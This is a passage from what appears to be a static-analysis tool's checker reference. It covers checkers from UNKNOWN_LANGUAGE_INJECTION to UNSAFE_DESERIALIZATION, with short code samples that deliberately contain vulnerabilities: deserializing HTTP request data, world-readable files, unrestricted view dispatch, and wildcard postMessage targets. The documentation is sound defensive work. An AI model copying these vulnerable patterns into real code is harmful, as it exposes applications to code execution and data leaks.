 SearchParser parser = new SearchParser(commonTokenStream);

 // Parse and consume result...
 }
}
```

#### 4.318.2.2. Java

In the following example, the tainted parameter `texte` is passed to the method `parse`. It goes through a couple of transformations such as HTML encoding. The value is then passed `ANTLRStringStream.<init>`, which is a sink for this checker.

```
public String parse(String texte) throws EdlCodeEncodageException{
 texte = this.replaceSmiley(texte, getContextPath());
 texte = this.replaceBigadin(texte);
 texte = HtmlEncoder.encode(texte);
 texte = this.replaceCaractereHTML(texte);
 EdlCodeLexer lexer = new EdlCodeLexer(new ANTLRStringStream(texte));
 ...
}
```

An attacker can specify arbitrary values, which might influence how tokenization and parsing occur. However, if the intent of the parser is to parse tainted data, a defect report on code such that shown in the example, should be triaged as intentional in Coverity Connect.

#### 4.318.3. Events

This section describes one or more events produced by the `UNKNOWN_LANGUAGE_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.319. UNLESS\_CASE\_SENSITIVE\_ROUTE\_MATCHING

### 4.319.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` checker finds cases where the `unless` function is called in an Express application with the `path` parameter that includes a case-sensitive negative regular expression. This might allow an attacker to bypass the provided route filtering by using routes with characters in different cases.

The `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` checker is disabled by default. You can enable it with the `webapp-security` option to the `cov-analyze` command.

### 4.319.2. Examples

This section provides one or more `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` examples.

In the following example, an `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` defect is displayed for the `path` property being set to include a case-sensitive negative regex:

```
var unless = require('express-unless');
var express = require('express');

var app = express();

//define custom basicAuth middleware function
var basicAuth = function(req, res, next){ /* sth */ };

basicAuth.unless = unless;

app.use(basicAuth.unless({path: /^(?!\/user\/).*\/}));
// UNLESS_CASE_SENSITIVE_ROUTE_MATCHING defect
// ... occurs at the call to app.use()
```

## 4.320. UNLIMITED\_CONCURRENT\_SESSIONS

Security Checker

### 4.320.1. Overview

**Supported Languages:** Java

The `UNLIMITED_CONCURRENT_SESSIONS` checker flags situations where the maximum number of concurrent sessions is unlimited because the `maximumSessions` argument has been set explicitly to `-1` in the `setMaximumSessions` method of the `org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrategy` class. By default, the `maximumSessions` argument is set to `1`, which is a secure setting. Unlimited concurrent sessions might allow an attacker to acquire and use a large number of server resources causing a denial of service on the server.

The `UNLIMITED_CONCURRENT_SESSIONS` checker is disabled by default. You can enable it with the `--webapp-security` option to the `cov-analyze` command.

### 4.320.2. Examples

This section provides one or more `UNLIMITED_CONCURRENT_SESSIONS` examples.

In the following example, an `UNLIMITED_CONCURRENT_SESSIONS` defect is displayed for setting the `maximumSessions` argument in the `setMaximumSessions` method of the `org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrategy` class explicitly to `-1`.

```
import org.springframework.security.core.session.SessionRegistry;
import
org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrat
```

```
public class UnlimitedConcurrentSessions
{
 private SessionRegistry sessionRegistry;

 public ConcurrentSessionControlAuthenticationStrategy
 sessionAuthenticationStrategy1() {
 ConcurrentSessionControlAuthenticationStrategy csca
 = new
 ConcurrentSessionControlAuthenticationStrategy(sessionRegistry);
 csca.setExceptionIfMaximumExceeded(true);
 csca.setMaximumSessions(-1); //defect here
 return csca;
 }
}
```

## 4.321. UNLOGGED\_SECURITY\_EXCEPTION

Security Checker

### 4.321.1. Overview

**Supported Languages:** C#, Java, Visual Basic

The `UNLOGGED_SECURITY_EXCEPTION` checker reports security exceptions that are caught but not logged.

The checker recognizes many exception types that have security implications; for example, authentication failures, CSRF token validation issues, SQL syntax errors, missing permissions, and more. You can also customize the checker to recognize application-specific exceptions.

Monitoring and timely response to attacks are essential to limiting their severity and scale. Sufficient logging helps with the response by providing notification and a history of security events.

**Disabled by default:** `UNLOGGED_SECURITY_EXCEPTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNLOGGED_SECURITY_EXCEPTION` along with other Web application checkers, use the `--webapp-security` option.

### 4.321.2. Defect Anatomy

The main event of an `UNLOGGED_SECURITY_EXCEPTION` defect is a caught security exception. The checker shows an execution path where the exception goes out of scope without any logging.

### 4.321.3. Examples

This section provides one or more `UNLOGGED_SECURITY_EXCEPTION` examples.

### 4.321.3.1. Java

The following method catches a security-related exception, but does not log this event. The checker will report a defect in the catch block.

```
void SecurityExceptionHappens() {
 try {
 // ...
 }
 catch (SecurityException e) {
 // do something, but don't log
 }
}
```

Logging the security exception will fix the issue:

```
java.util.logging.Logger logger;

void SecurityExceptionHappens() {
 try {
 // do something
 }
 catch (SecurityException e) {
 logger.warning("[Security] Exception: " + e.toString());

 // continue handling exception
 }
}
```

### 4.321.3.2. C#

The following method catches a security-related exception, but it does not log this event. The checker will report a defect in the catch block.

```
void SecurityExceptionHappens() {
 try {
 // do something
 }
 catch (AuthorizationFailedException e) {
 // do something, but don't log
 }
}
```

### 4.321.3.3. Visual Basic

The following method catches a security-related exception, but it does not log this event. The checker will report a defect in the catch block.

```
Sub SecurityExceptionHappens()
 Try
 ' do something
 End Try
End Sub
```

```
 Catch e as SecurityException
 ' do something, but don't log
 End Try
End Sub
```

#### 4.321.4. Options

This section describes one or more `UNLOGGED_SECURITY_EXCEPTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNLOGGED_SECURITY_EXCEPTION:security_exceptions:<classes>` - [All languages] This option lists fully-qualified class names of additional security exceptions that must be logged. One or more values are permitted, either as multiple options or as a comma-separated list.

#### 4.321.5. Events

This section describes one or more events produced by the `UNLOGGED_SECURITY_EXCEPTION` checker.

- `end_of_catch` - Indicates the end of the corresponding catch block that didn't have any logging inside.
- `exit_from_catch` - Indicates the early exit from the catch block (that is, the return statement) without prior logging.
- `security_exception` - Indicates the beginning of the catch block handling a security exception.

### 4.322. UNREACHABLE

Quality Checker

#### 4.322.1. Overview

**Supported Languages:** C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, TypeScript, and Visual Basic

`UNREACHABLE` reports many instances in which the control flow cannot reach certain areas of the code base. Unlike the `DEADCODE` checker, which finds code that can never be reached because of branches whose condition will always evaluate the same way, the `UNREACHABLE` checker finds code that can never be reached regardless of the values of condition expressions.

**C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, TypeScript, and Visual Basic**

- **Enabled by default:** `UNREACHABLE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.322.1.1. C, C++, and C#

For C/C++ and C#, `UNREACHABLE` defects often occur because of missing braces, which results in unreachable code after `break`, `continue`, `goto` or `return` statements. This checker does not report defects if the unreachable code is a `return` or `break` statement.

Note that many C/C++ and C# compilers will generate a warning for unreachable code, not an error. Code is often made unreachable in the process of debugging, with the intention of fixing it later. When code is unintentionally left in that state, this checker will produce a defect.

#### 4.322.1.2. Java and Scala

For Java and Scala, unreachable expressions can be found in the increment of a `for` loop, or the condition of a `do-while` loop if `break` or `return` statements force the loop to only execute once.

For Java and Scala, `UNREACHABLE` does not report unreachable Java statements because the Java compiler disallows them. Such statements have to be fixed for the compilation to be successful.

#### 4.322.1.3. JavaScript, TypeScript, and PHP

For JavaScript, TypeScript, and PHP, the checker reports statements after `break`, `continue`, or `return` statements and also in loop increments that can never be reached, similar to the C, C++, and C# versions of the checker.

In JavaScript and TypeScript, this checker also finds defects that are caused by a misunderstanding of Automatic Semicolon Insertion. See an example in Section 4.322.2.6, “JavaScript and TypeScript”.

#### 4.322.1.4. Python and Ruby

For Python and Ruby, the checker reports statements after `return`, `raise`, `break`, `continue`, `redo`, and `next` statements.

### 4.322.2. Examples

This section provides one or more `UNREACHABLE` examples.

#### 4.322.2.1. C/C++

In the following example, braces for the `if` statement are missing, so the function always returns `-1`, and the statement `use_p(*p);` is never reached. The example contains block comments where the developer probably intended to put braces.

```
int unreachable_example (int *p) {
 if(p == NULL) /*{*/
 handle_error();
 return -1;
 /*}*/

 use_p(*p); //An UNREACHABLE defect here.
 return 0;
}
```

```
}

```

In the following example, braces for the `if` statement are missing, so `i++` is unreachable after the `break` statement. Here, the developer probably intended to include the braces that are surrounded by block comments in the example.

```
int unreachable_example2 (int array[10]) {
 int i;
 int value = -1;
 for(i = 0; i < 10; i++) { //An UNREACHABLE defect here:
 // Increment is unreachable. Array
 // not properly searched because the break
 // statement is executed on the first iteration.

 if(array[i] > 100) /*{*/
 value = array[i];
 break;
 /*}*/
 }
 return value;
}
```

#### 4.322.2.2. C#

In the following example, the `HasDefect()` methods contain unreachable code. The associated `NoDefect()` methods contain similar code that illustrates what the author might have intended.

```
public interface SomeIface {
 void DoWork();
 void DoSomeOtherWork();
 void DoEvenMoreWork();
}

public class Unreachable {
 public void HasDefect(SomeIface iface, bool cond) {
 if(cond) {
 iface.DoWork();
 }
 return;
 iface.DoSomeOtherWork(); //An UNREACHABLE defect here.
 }

 public void NoDefect(SomeIface iface, bool cond) {
 if(cond) {
 iface.DoWork();
 return;
 }
 iface.DoSomeOtherWork(); //No UNREACHABLE defect here.
 }

 public void HasDefect2(SomeIface iface, int threshold) {
 for(int i = 0; i < 10; i++) {
 if(i < threshold) {

```



```
Sub DoSomeOtherWork()
Sub DoEvenMoreWork()
End Interface

Class Unreachable
 Sub HasDefect(iface As SomeIface, cond As Boolean)
 If cond Then
 iface.DoWork()
 End If

 Return
 iface.DoSomeOtherWork() ' This statement is unreachable, because the method
unconditionally returns on the previous line
 End Sub

 Sub NoDefect(iface As SomeIface, cond As Boolean)
 If cond Then
 iface.DoWork()
 Return
 End If

 iface.DoSomeOtherWork() ' No defect, because the 'Return' statement is
conditional
 End Sub

 Sub HasDefect2(iface As SomeIface, threshold As Integer)
 For i As Integer = 0 To 9
 If i < threshold Then
 iface.DoWork()
 Continue For
 Else
 iface.DoSomeOtherWork()
 Exit For
 End If

 iface.DoEvenMoreWork() ' This statement is unreachable, because both
branches of the previous 'If' statement transfer control elsewhere
 Next
 End Sub
End Class
```

#### 4.322.2.4. Java

In the following example, the array is not searched properly because the `break` statement is executed on the first iteration.

```
int unreachable_example (int[] array) {
 int value = -1;
 for(int i = 0; i < array.length; i++) { //An UNREACHABLE defect here.
 if(array[i] > 100) //{
 value = array[i];
 break;
 }
 }
```

```
 }
 return value;
}
```

#### 4.322.2.5. Scala

In the following example, both branches of the if statement end with a return statement. Therefore, the following `return doWork()` line will never be executed, regardless of the outcome of the condition.

```
def unreachable(cond : Boolean) : Int = {
 if (cond) {
 return 1
 } else {
 return 2
 }
 return doWork() // Defect here.
}
```

#### 4.322.2.6. JavaScript and TypeScript

The following example demonstrates a misunderstanding of Automatic Semicolon Insertion in JavaScript and TypeScript, where a semicolon is automatically inserted after the `return` token, causing the array to be unreachable, with the method returning undefined. This issue occurs because a new line is not allowed between the `return` token and the expression it returns.

```
function getDaysOfWeek() {
 return
 ["Sunday",
 "Monday",
 "Tuesday",
 "Wednesday",
 "Thursday",
 "Friday",
 "Saturday"] // Defect.
}
```

#### 4.322.2.7. PHP

```
function unreachable($cond) {
 if($cond) {
 doWork();
 }
 return;
 doSomeOtherWork(); // Defect here.
}
```

#### 4.322.2.8. Python

```
def unreachable(threshold):
 for i in range(0, 10):
```

```
if(i < threshold):
 doWork()
 continue
else:
 doSomeOtherWork()
 break
doEvenMoreWork() # Defect here.
```

#### 4.322.2.9. Ruby

```
def check(cond, message)
 if (cond)
 raise RuntimeError, message
 log("Fatal error: " + message) # Defect here.
 end
end
```

#### 4.322.3. Options

This section describes one or more `UNREACHABLE` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `UNREACHABLE:report_unreachable_empty_increment:<boolean>`  
- This option reports a defect when a loop increment is both empty and unreachable, and the loop body does not execute more than once. Defaults to `UNREACHABLE:report_unreachable_empty_increment:true` (for C, C++, Objective-C, Objective-C++). Defaults to `UNREACHABLE:report_unreachable_empty_increment:false` (for C#, Java, JavaScript, and TypeScript).

The following example produces a `UNREACHABLE` defect if this option is set to `true`:

```
for(int i = 0; i < 0;)
{
 break;
}
```

`UNREACHABLE:report_unreachable_empty_increment` is set to `true` (enabled) for C# and Java when `cov-analyze --aggressiveness-level medium`.

- `UNREACHABLE:report_unreachable_in_macro:<boolean>` - This option reports a defect when a code block is unreachable due to a macro expansion. Defaults to `UNREACHABLE:report_unreachable_in_macro:false` (for C and C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

#### 4.322.4. Events

This section describes one or more events produced by the `UNREACHABLE` checker.

- `unreachable` - An unreachable event, a defect.

## 4.323. UNRESTRICTED\_ACCESS\_TO\_FILE

Security Checker

### 4.323.1. Overview

**Supported Languages:** Java, Kotlin

The `UNRESTRICTED_ACCESS_TO_FILE` checker finds cases where an application creates a file on its storage but does not apply access control to the file. Each Android application has a designated internal storage area which, by default, only the application can access. By explicitly setting the mode to `MODE_WORLD_WRITEABLE` or `MODE_WORLD_READABLE`, the application can create files on its internal storage that are accessible to other applications. Applications can also access external storage (for example, an SD card) that is globally readable and writable. Because there is no way to control access to external storage, applications should never store sensitive information on external storage.

There might be legitimate reasons for storing files externally. This checker does not try to determine if the data stored in the file is sensitive. It is an audit checker that requires the programmer to inspect publicly accessible file instances and decide whether such access is appropriate.

- **Disabled by default:** `UNRESTRICTED_ACCESS_TO_FILE` is disabled by default for Java. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Android security checker enablement:** To enable `UNRESTRICTED_ACCESS_TO_FILE` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

- **Enabled by default:** `UNRESTRICTED_ACCESS_TO_FILE` is enabled by default for Kotlin.

### 4.323.2. Defect Anatomy

An `UNRESTRICTED_ACCESS_TO_FILE` defect shows how a file with no access restrictions is created on storage. If a file is created with `MODE_WORLD_READABLE` or `MODE_WORLD_WRITEABLE` options, the defect will point to the API call that creates the file using these options.

A file can also be created on storage with no access restrictions if the absolute path of the file points to external storage. In this case, the `UNRESTRICTED_ACCESS_TO_FILE` defect will show an execution path in which a path to external storage is constructed and passed to an API that creates a file at that location. The path may start with a constant string such as `/sdcard/` that points to external storage. From there, the events in the defect show how the path flows through the program, for example, from the argument of a function call to the parameter of the called function, or by appending more subdirectories to the path string. The final part of the dataflow path shows the path to external storage used in an API that constructs a file. Malicious applications could then access any sensitive data stored in this file.

### 4.323.3. Examples

This section provides one or more `UNRESTRICTED_ACCESS_TO_FILE` examples.

### 4.323.3.1. Java

In the following example, a defect is found because the file permission is set to `MODE_WORLD_READABLE` and therefore any application will be able to read data from this database.

```
SQLiteDatabase db = context.openOrCreateDatabase("secret.db",
 MODE_WORLD_READABLE,
 factory,
 errorHandler);
```

### 4.323.3.2. Kotlin

In the following example, a defect is found because the file permission is set to `MODE_WORLD_READABLE` and therefore any application will be able to read data from this database.

```
val db: SQLiteDatabase = context.openOrCreateDatabase("secret.db",
 MODE_WORLD_READABLE, factory, errorHandler);
```

### 4.323.4. Options

This section describes one or more `UNRESTRICTED_ACCESS_TO_FILE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNRESTRICTED_ACCESS_TO_FILE:api_level:<number>` - This option specifies the Android API level that the application targets. For API levels less than or equal to 15, the `SQLiteDatabase.openOrCreateDatabase` and `SQLiteDatabase.openDatabase` implementations will always create a world-readable database. Therefore, if the value of this option is less than or equal to 15, `UNRESTRICTED_ACCESS_TO_FILE` will always report a defect when `SQLiteDatabase.openOrCreateDatabase` is called and when `SQLiteDatabase.openDatabase` is called with the flag `SQLiteDatabase.CREATE_IF_NECESSARY`. Defaults to `UNRESTRICTED_ACCESS_TO_FILE:api_level:19`.

## 4.324. UNRESTRICTED\_DISPATCH

Security Checker

### 4.324.1. Overview

**Supported Languages:** C#, Java, Visual Basic

`UNRESTRICTED_DISPATCH` finds unrestricted dispatch vulnerabilities, which arise when uncontrolled dynamic data is passed into view dispatch method. The value passed to the dispatch method controls what view is rendered or what content is returned. This security vulnerability might allow an attacker to bypass security checks or obtain unauthorized data by potentially accessing access-controlled content through another unprotected entry point.

**Disabled by default:** `UNRESTRICTED_DISPATCH` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNRESTRICTED_DISPATCH` along with other Web application checkers, use the `--webapp-security` option.

## 4.324.2. Examples

This section provides one or more `UNRESTRICTED_DISPATCH` examples.

### 4.324.2.1. Java

In the following example, the HTTP request parameter `errorUrl` is obtained, then passed to the servlet dispatcher through the sink `ServletRequest.getRequestDispatcher`.

```
String errorUrl = request.getParameter("errorUrl");
if (errorUrl == null || errorUrl.equals(""))
 throw new ServletException("Missing error URL page");
try {
 RequestDispatcher dispatch = request.getRequestDispatcher(errorUrl);
 this.getRequest().setAttribute("error", e);
 dispatch.include(this.getRequest(), this.getResponse());
 ...
}
```

An attacker can specify an arbitrary servlet or JSP name through the `errorUrl` parameter. In this case, the contents of the servlet response would be included in the composition of the current page with the defect.

### 4.324.2.2. C#

```
using System.Web.Mvc;

namespace MyWebapp {

 class HomeController : Controller {

 protected ActionResult RenderView()
 {
 return View(Request["view_name"]);
 }
 }
}
```

### 4.324.2.3. Visual Basic

```
Imports System.Web.Mvc

Namespace MyWebapp

 Class HomeController
```

```
Implements Controller

Protected Function RenderView() As ActionResult
 Return View(Request("view_name"))
End Function
End Class
End Namespace
```

### 4.324.3. Events

This section describes one or more events produced by the `UNRESTRICTED_DISPATCH` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

### 4.325. UNRESTRICTED\_MESSAGE\_TARGET

Security Checker, Web application checker

### 4.325.1. Overview

**Supported Languages:** JavaScript only

UNRESTRICTED\_MESSAGE\_TARGET reports a defect in code that sends cross-origin window messages without restricting the origin that can receive it. Such code might allow a malicious site to intercept the message by changing the location of the window.

**Disabled by default:** UNRESTRICTED\_MESSAGE\_TARGET is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

### 4.325.2. Defect Anatomy

An UNRESTRICTED\_MESSAGE\_TARGET defect shows a call to the function `window.postMessage` with a `targetOrigin` argument of `"*"`, rather than an exact URI value.

### 4.325.3. Examples

This section provides one or more UNRESTRICTED\_MESSAGE\_TARGET examples.

```
// Defect example:
function unrestricted_postMessage(message) {
 window.postMessage(message, "*");
}

// Good example:
function restricted_postMessage(message) {
 window.postMessage(message, "http://example.com");
}
```

## 4.326. UNSAFE\_BASIC\_AUTH

Security Checker

### 4.326.1. Overview

**Supported Languages:** Ruby

UNSAFE\_BASIC\_AUTH reports use of Basic Authentication: the Basic Authentication scheme sends unencrypted credentials with every request from the web browser to the web server.

In Ruby on Rails, the built-in implementation of Basic Authentication does not support rate-limiting to prevent brute-force attacks nor any other account protection.

**Enabled by default:** UNSAFE\_BASIC\_AUTH is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.326.2. Defect Anatomy

An UNSAFE\_BASIC\_AUTH defect is reported when any of the events described in the *Events* section occur.

### 4.326.3. Examples

This section provides one or more `UNSAFE_BASIC_AUTH` examples.

The following Ruby-on-Rails example demonstrates use of Basic Authentication with non-constant time comparison of the passwords.

```
class AdminController < ApplicationController
 def show
 authenticate_or_request_with_http_basic do |username, password|
 username == "admin" && password == CONFIG[:admin_password]
 end
 end
end
```

### 4.326.4. Events

This section describes one or more events produced by the `UNSAFE_BASIC_AUTH` checker.

- `basic_auth_password` - Basic Authentication is used with a hard-coded password.
- `basic_auth_timing_attack` - Basic Authentication is used and passwords are verified using a non-constant time comparison, leading to a potential timing attack vulnerability.
- `basic_auth_usage` - Basic Authentication is used in the application.

## 4.327. UNSAFE\_BUFFER\_METHOD

Security

### 4.327.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `UNSAFE_BUFFER_METHOD` checker finds cases where a segment of allocated memory is uninitialized (not zeroed-out), as its content could leak sensitive data from system memory.

The `UNSAFE_BUFFER_METHOD` checker is disabled by default; it is only enabled in `Audit` mode.

### 4.327.2. Examples

This section provides one or more `UNSAFE_BUFFER_METHOD` examples.

In the following example, `UNSAFE_BUFFER_METHOD` defect is displayed for the unsafe buffer allocation method `allocUnsafe`, called from the `Buffer` class of the `buffer` module:

```
const buffer = require('buffer');
const Buffer = buffer.Buffer;

const buf = Buffer.allocUnsafe(10); // defect
```

## 4.328. UNSAFE\_DESERIALIZATION

Security Checker

### 4.328.1. Overview

**Supported Languages:** C#, Java, JavaScript, Kotlin, PHP, Python, Ruby, Visual Basic

`UNSAFE_DESERIALIZATION` finds unsafe deserialization injection vulnerabilities, which arise when uncontrolled dynamic data is used within an API that can deserialize or unmarshal an object. This security vulnerability might allow an attacker to bypass security checks or to execute arbitrary code.

For Ruby and Kotlin `UNSAFE_DESERIALIZATION` is enabled by default. For the other languages, it is disabled by default.

**Web application security checker enablement:** To enable `UNSAFE_DESERIALIZATION` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `UNSAFE_DESERIALIZATION` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.328.2. Defect Anatomy

For Ruby on Rails, `UNSAFE_DESERIALIZATION` defects are reported when `YAML`, `CSV`, or `Marshal` are used to deserialize data from a string or file specified by dynamic `data.uncontrolled`.

### 4.328.3. Examples

This section provides one or more `UNSAFE_DESERIALIZATION` examples.

#### 4.328.3.1. C#

```
using System;
using System.IO;
using System.Web;
using System.Runtime.Serialization.Formatters.Binary;

public class UnsafeDeserialization
{
 public T DeserializeUserDataUnsafely<T>(HttpRequest request, string key)
 {
 // Take some user-supplied (potentially attacker supplied) data and
 // deserialize it. Just simply deserializing data can cause other
 // code to be executed (e.g. deserialization routines, callbacks, etc).
 string strData = request[key];
 byte[] rawData = Convert.FromBase64String(strData);
```

```

Stream streamData = new MemoryStream(rawData);
BinaryFormatter deserializer = new BinaryFormatter();
return (T)deserializer.Deserialize(streamData);
}
}

```

#### 4.328.3.2. Java

In the following example, the method passes in the HTTP request input stream to the `ObjectInputStream` constructor, which is a deserialization API.

```

public void doFilter(ServletRequest request, ServletResponse response, FilterChain
chain)
 throws IOException, ServletException
{
 HttpServletRequest httpRequest = (HttpServletRequest) request;
 Principal user = httpRequest.getUserPrincipal();
 if (user == null && this.readOnlyContext != null)
 {
 ServletInputStream sis = request.getInputStream();
 Runnable action = null;
 try (ObjectInputStream ois = new ObjectInputStream(sis)) {
 // Deserialize a data object that also
 // implements java.lang.Runnable.
 action = (Runnable)ois.readObject();
 }
 catch (ClassNotFoundException e) {
 throw new ServletException("Error");
 }

 action.run();
 }
}

```

An attacker who can reach this conditional could provide an arbitrary object instance in the HTTP request. The only limitation on the attacker is that the class is within the class path of the application.

#### 4.328.3.3. JavaScript

In the following example, an attacker could provide arbitrary input to the `unserialize` call and eventually execute arbitrary code when that object's `displayString` method is eventually invoked.

```

var express = require('express');
var app = express();
var s = require('node-serialize');

app.get('/summary', function(req, res) {
 console.log(req.query.n);
 s.unserialize(req.query.n);

 res.sendStatus('Status:' + s.displayString());
});

```

```
app.listen(3000, function() {console.log('Listening ');});
```

#### 4.328.3.4. Kotlin

In the following example, the method passes in the HTTP request input stream to the `ObjectInputStream` constructor, which is a deserialization API. A defect is reported when `ObjectInputStream` is instantiated.

```
fun doFilter(request: ServletRequest, response: ServletResponse?, chain: FilterChain?)
{
 val httpRequest: HttpServletRequest = request as HttpServletRequest
 val user: Principal = httpRequest.getUserPrincipal()
 if (user == null && this.readOnlyContext != null)

 {
 val sis: ServletInputStream = request.getInputStream()
 var action: Runnable? = null

 try {
 val ois : ObjectInputStream = ObjectInputStream(sis)
 action = ois.readObject() as Runnable
 } catch (e: ClassNotFoundException) {
 throw ServletException("Error")
 }
 action!!.run()
 }
}
```

#### 4.328.3.5. PHP

In the following example, untrusted data from an HTTP request is passed to the `unserialize` function.

```
<?php
$user_info = $_REQUEST['user_info'];
unserialize($user_info); // Defect here

?>
```

#### 4.328.3.6. Python

The following Django fragment uses `pickle.loads` to deserialize the body of an HTTP request.

```
import pickle
from django.conf.urls import url

def django_view(request):
 pickle.loads(request.body);

urlpatterns = [
```

```
url(r'index', django_view)
```

### 4.328.3.7. Ruby

The following Ruby-on-Rails example demonstrates deserializing data from an HTTP request.

```
Marshal.load(params[:data])
```

### 4.328.3.8. Visual Basic

The following example shows the unsafe deserialization of user data:

```
Imports System
Imports System.IO
Imports System.Web
Imports System.Runtime.Serialization.Formatters.Binary

Public Class UnsafeDeserialization

 Public Function DeserializeUserDataUnsafely(Of T)(ByVal request As HttpRequest,
 ByVal key As String) As T
 'Take some user-supplied (potentially attacker supplied) data and
 'deserialize it. Just simply deserializing data can cause other
 'code to be executed (e.g. deserialization routines, callbacks, etc).
 Dim strData As String = request(key)
 Dim rawData As Byte() = Convert.FromBase64String(strData)
 Dim streamData As Stream = New MemoryStream(rawData)
 Dim deserializer As BinaryFormatter = New BinaryFormatter()
 Return CType(deserializer.Deserialize(streamData), T)
 End Function
End Class
```

### 4.328.4. Options

This section describes one or more `UNSAFE_DESERIALIZATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNSAFE_DESERIALIZATION:distrust_all:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `UNSAFE_DESERIALIZATION:distrust_all:false`.

This checker option is automatically set to true if the `UNSAFE_DESERIALIZATION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `UNSAFE_DESERIALIZATION:trust_command_line:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.

- `UNSAFE_DESERIALIZATION:trust_console:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `UNSAFE_DESERIALIZATION:trust_cookie:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `UNSAFE_DESERIALIZATION:trust_database:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `UNSAFE_DESERIALIZATION:trust_environment:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `UNSAFE_DESERIALIZATION:trust_filesystem:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `UNSAFE_DESERIALIZATION:trust_http:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
